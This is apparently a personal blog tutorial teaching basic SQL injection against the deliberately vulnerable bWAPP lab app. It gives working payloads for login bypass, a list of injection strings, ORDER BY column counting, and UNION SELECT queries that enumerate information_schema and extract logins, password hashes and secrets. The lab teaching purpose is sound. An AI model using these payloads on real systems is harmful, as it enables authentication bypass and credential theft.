learn_sql_injection_basics

Hello everyone, I’m super excited to share this topic with you, soo much that I actually started writing on Christmas day and I believe it will be my most comprehensive blog so far.

In this article you will learn the basics of SQL Injection techniques. There will be more theory than I usually cover and the theory will be supported with practical examples on the BWapp vulnerable web app. Without any delay lets get stuck in!

 

What is SQL?

Web applications have a web server for serving files to the user from the the file system. Most web applications also have a database. One type of database is called a relational database which structures the data into organized tables of rows and columns. The rows and columns contain all of the web app’s data such as usernames, passwords, shopping products, blog posts etc. The web server can create, read, update and delete  (CRUD) data stored on the tables by communicating with SQL.

 

Structured Query Language (SQL) has simple syntax and is an easy language to learn the basics. Please see my article on Learn SQL Queries to learn more about SQL statements and queries, it will really to know SQL syntax for SQL injection.

What_is_sql

What is SQL Injection?

Injection is listed in OWASP’s top 10 of common vulnerabilties which means there are many web applications vulnerable to this exploit.

SQL injection is when an attacker inputs SQL statements that will run on the database to return information that they should not be seeing, such as usernames, passwords and credit card details. Once an attacker has accessed the database they can become administrators, read, steal and destroy all the information on the database tables.

 

Reconnaissance

Before discovering possible SQL injections, it’s always worth having a look around the target web application to get a feel for it’s behaviour. Click on the links, input into the form fields, test the  URL parameters and become familiar with how the web app normally behaves and responds.

 

SQL Injection By Post Request

Post request is a HTTP method used to send information to the web server when you submit forms online. To discover if a web application is vulnerable to SQL injection, we want to find out if our code is being executed on the web server. So we will send an SQL statement to the web app and look for something unexpected in the response, this could be a database error or something different or broken somewhere on the web page.

We can use the login page of a web application which requires a valid username and password to be sent to the database to validate the user. As shown in Img 1.1 if incorrect credentials are entered into a login form, the page returns an “Invalid credentials” message as expected.

Img 1.1 shows the normal behaviour of a web app (Bwapp low security settings) when a user enters incorrect login details. The web server responds with an “Invalid credentials” message. This is expected behaviour and no kind of hacking has been attempted.

admin_invalid_credentials
Img 1.1 Invalid Credentials Message

Instead of entering credentials, we are going to input SQL statements into the login form and see how the page responds. First of all lets try to understand what is happening in the background of the login form. Img 1.2 shows a login form and a typical SELECT statement used to retrieve the users details from the database table.

USERNAMEPASSWORD
Img 1.2 SELECT Statement

Whatever login name and password is entered into the form fields will be queried on the database. So if the username entered is admin and the password entered is 123456, the SELECT statement would be:

SELECT * FROM users WHERE username = 'admin' AND password = '123456';

 

Lets begin with the username field and try to inject a statement that returns false or an error on the page. Single and double quotes are used as syntax at the beginning and end of strings. So by inputting a single quote into the form field, an extra single quote will be injected into the SELECT statement, causing an invalid syntax error.

SELECT * FROM users WHERE username = ''' AND password = '';

 

Another way is to input admin'-- to the username field which would send a query to the database for username admin but comments out the rest of the query and return an error.

Img 1.3 Shows returns flase when SQL query admin'-- - is input to the login name field. As fasle is returned, the login form maybe vulnerable to SQL injection.

SQL_admin
Img 1.3 SQL Query Returns False

So now we are pretty sure the username field is vulnerable lets inject a statement to try and bypass the login screen with   admin'or ‘1’=’1 . It is important to remember that the first and last quotes of a string are automatically entered to the statement, so the 'username' string will actually be sent as 'admin'or ‘1’=’1'.

admin_bypass
Img 1.4 Bypass Log with 1=1

The admin name is irrelevant and can be replaced with any name because we are using the OR operator, only one of the values have to be True. Since 1=1 is an always True condition, we are able to bypass the login screen.

Some useful injections:
'--
' or 1=1--
' or '1'='1
' or 'a'='
' or 'a'='a'--

SQL comments:

To ignore the

rest of the  query
--
--  -

#

So far we have discovered how to test if the login name field is vulnerable and how to bypass authentication and log in as admin without a password. I did want to demonstrate using the same technique on the password form field however after a few attempts inputting code and using Burp proxy, I concluded the password form field is not vulnerable to SQL Injection. If you discover otherwise on BWapp User/Login page please let me know.

SQL Injection By GET Request

GET request is a HTTP method that requests information from the web server by the URL.  The URL contains parameters and values which can be manipulated in the web browser bar or with Burp proxy. We can inject SQL queries to the URL and GET request to retrieve information from the database. 

 

For demonstration I will be using BWapp SQL Iniection Get/Search page. Injecting code to URLs is very useful when the target website may not have any login or form fields to inject SQL queries.

 

So before we start lets have a look at the URL without any manipulation.

http://192.168.19.133/bWAPP/sqli_1.php?title=iron+man&action=search

 

This URL shows after the = sign, the user has made a search query for iron man. We can expect the SELECT statement on the backend to be something like this:
SELECT * FROM movies WHERE title LIKE 'iron man';

 

Our first obective is to discover if the page is vulnerable to SQL injection with a few tests. Same like the form fields we want to inject statements that return true and false to see how the page responds and if it is accepting our input.

Same like before I am going to insert this code' and 1=1-- -
So the statement will look like this

SELECT * FROM movies WHERE title LIKE 'iron man' and 1=1-- -';
When added to the URL:

http://192.168.19.133/bWAPP/sqli_1.php?title=%27+and+1%3D1–+-&action=search

 

You can also use # instead — – to comment out and ignore the rest of the query.

SELECT * FROM movies WHERE title LIKE 'iron man' and 1=1#';

http://192.168.19.133/bWAPP/sqli_1.php?title=%27+and+1%3D1%23&action=search

When we run this URL we expect no break in the page errors because iron man is True, 1=1 is always True, plus since we are using the AND operator both queries have to be True and since they are, the page should return True. Img 2.1 shows Get Request with injected statement returns no errors, therefore the webserver has accepted our True statement.

BWAPP_GET_11
Img 2.1 True Statement AND 1=1

Our next step to confirm if the page is vulnerable is to return a false statement that should return an error or a break in the page.

This time I will insert this code' and 1=2-- -

So the statement will look like this
SELECT * FROM movies WHERE title LIKE 'iron man' and 1=2-- -';

When added to the URL:
http://192.168.19.133/bWAPP/sqli_1.php?title=%27+and+1%3D2–+-&action=search

Img 2.2 shows our injected SQL statement to the URL of 1=2. Iron man is True AND 1=2 is False so we expected an error or break in page. The GET request returned “No movies were found!” Therefore the webserver is accepting our SQL modified statements and so we can conclude the Title parameter is vulnerable.

BWAPP_Get12
Img 2.2 False Statement AND 1=2

You may have noticed extra characters in the URL where we are inserting our queries. This is because  “URL encoding converts characters into a format that can be transmitted over the Internet.”  Characters like space, +, -,  plus are converted to %20, %2B, %2D.

Source: www.w3schools.com.

Before looking at how to retrieve information from the database, I want to show another way to test for vulnerabilities with the ORDER BY query. You can read more about ORDER BY in my other article Learn SQL Queries .

To order by column 1' order by 1-- -
The statement will look like SELECT * FROM movies WHERE title LIKE '' order by 1-- -';

The URL is injected with order by 1 query:

http://192.168.19.133/bWAPP/sqli_1.php?title=%27+order+by+1–+-&action=search

The URL is injected with order by 7 query:

http://192.168.19.133/bWAPP/sqli_1.php?title=%27+order+by+7–+-&action=search

Img 2.3 Order by 1
ORDERBY7
Img 2.4 Order by 7

At this point we can confirm our injected ORDER BY query is being accepted because the results are being returned in order instead of returning an error.

Not only does the ORDER BY method help us to discover if there is a vulnerability but we can also use it to discover how many columns are on the database table. So you can change the ORDER BY value to 20 and then adjust the value more or less to determine how many columns there are. I have already done that so in this example we know ORDER BY 7 returned True but when I sent a request for ORDER BY 8, the webserver returned an error.

Img 2.5 Shows error returned when injecting SQL to GET request to orderby 8.  Unknown column ‘8’ in ‘order clause’. This confirms there is not a column number 8, therefore the database that we are trying to gain access has only 7 columns. This detail is crucial for our next step to retrieve information from the database.

ORDERBY8
Img 2.5 Order by 8

Union Select

The UNION operator allows us to use two or more SELECT statements and return data from other tables to the same result. To use the UNION operator both of the following conditions must be met:

1- SELECT statements must have the same number of columns.

2- Columns must also have similar data types ie ‘strings’

We know there is already an SQL statement that looks like this:

SELECT * FROM movies WHERE title LIKE = ‘iron man’


We will append the following UNION SELECT to the existing SELECT statement:

iron man' union select 1,2,3,4,5,6,7-- -

The full UNION SELECT statement:
SELECT * FROM movies WHERE title LIKE = ‘iron man’
UNION
SELECT 1,2,3,4,5,6,7-- -

So lets inject this code into the URL GET request remembering to encode any characters to % format.

http://192.168.19.133/bWAPP/sqli_1.php?title=iron+man%27+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7–+-&action=search

Img 2.6 shows displayed results of UNION SELECT 1,2,3,4,5,6,7–

The numbers can be replaced with any string so we could have input 1,1,1,1,1,1,1. However by using consecutive numbers we have identified not all columns are being returned. Columns with numbers 1 and 7 are not returned and we can only see results of columns 2-6.

GetREquestUnionSelect
Img 2.6 Union Select Results

Retrieving Data

Now the real fun begins, we can retrieve data that was not intended for us to see by replacing the numbers.
iron man' union select 1,database(),user(),version(),5,6,7-- -

Note that we are not inserting to 1 and 7 as we know the results will not be displayed on the screen.

http://192.168.19.133/bWAPP/sqli_1.php?title=iron+man%27+union+select+1%2Cuser%28%29%2Cdatabase%28%29%2Cversion%28%29%2C5%2C6%2C7–+-&action=search

Img 2.7 shows returned results of current database name is “bWAPP”, user is”root@localhost”  and version of SQL is “5.0.96-0ubuntu3”.

Union_Select_results
Img 2.7. Retrieve database Info

Information Schema

Information schema is a default database that we can use to view all the tables in the database.

iron man' union select 1,table_name,3,4,5,6,7 from information_schema.tables-- -

http://192.168.19.133/bWAPP/sqli_1.php?title=iron+man%27+union+select+1%2Ctable_name%2C3%2C4%2C5%2C6%2C7

+from+information_schema.tables–+-&action=search

Img 2.8 and 2.9 show returned tables from information_schema database. As you can see there is a table named “users”, lets see what data we can extract from that table.

 

schema_table_names
Img 2.8 Information_schema tables
schema_tables
Img 2.8 Information_schema tables

The next step is to see all the column names from the table named “users”. So we would need to enter the following statement:

iron man' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'-- -

The Injected URL:

http://192.168.19.133/bWAPP/sqli_1.php?title=iron+man%27+union+select+1%2Ccolumn_name%2C3%2C4%2C5%2C6%2C7

+from+information_schema.columns+where+table_name%3D%27users%27–+-&action=search

Users_column_names
Img 2.9 Column Names From Users

Img 2.9 shows some very interesting column names from the table names users. We can see column names for users “login, “password”, “email”, “secret” and more.

For our final trick we will extract the login, password and secret from the users table with the following query  :

iron man' union select 1,login,password,4,secret,6,7 from users-- -

The injected URL:

http://192.168.19.133/bWAPP/sqli_1.php?title=iron+man%27+union+select+1%2Clogin%2Cpassword%2C4%2Csecret

%2C6%2C7+from+users–+-&action=search

Img 3.0 shows SQL Injection has returned login, password and secret information from database. The password is hashed so cracking the hash is out of scope for this tutorial. Nevertheless we succesfully extracted sensitive information that was not intended for us to see.

Schema_passwords
Img 3.0 SQL Injection Returns Login

WOW! We was on fire in this post and we definitely covered a lot about SQL Injection basics. It is New Years Day so I am going to wrap this one up. There will be more articles coming soon on SQL Injection so please follow me on Twitter to be updated for more articles like this one.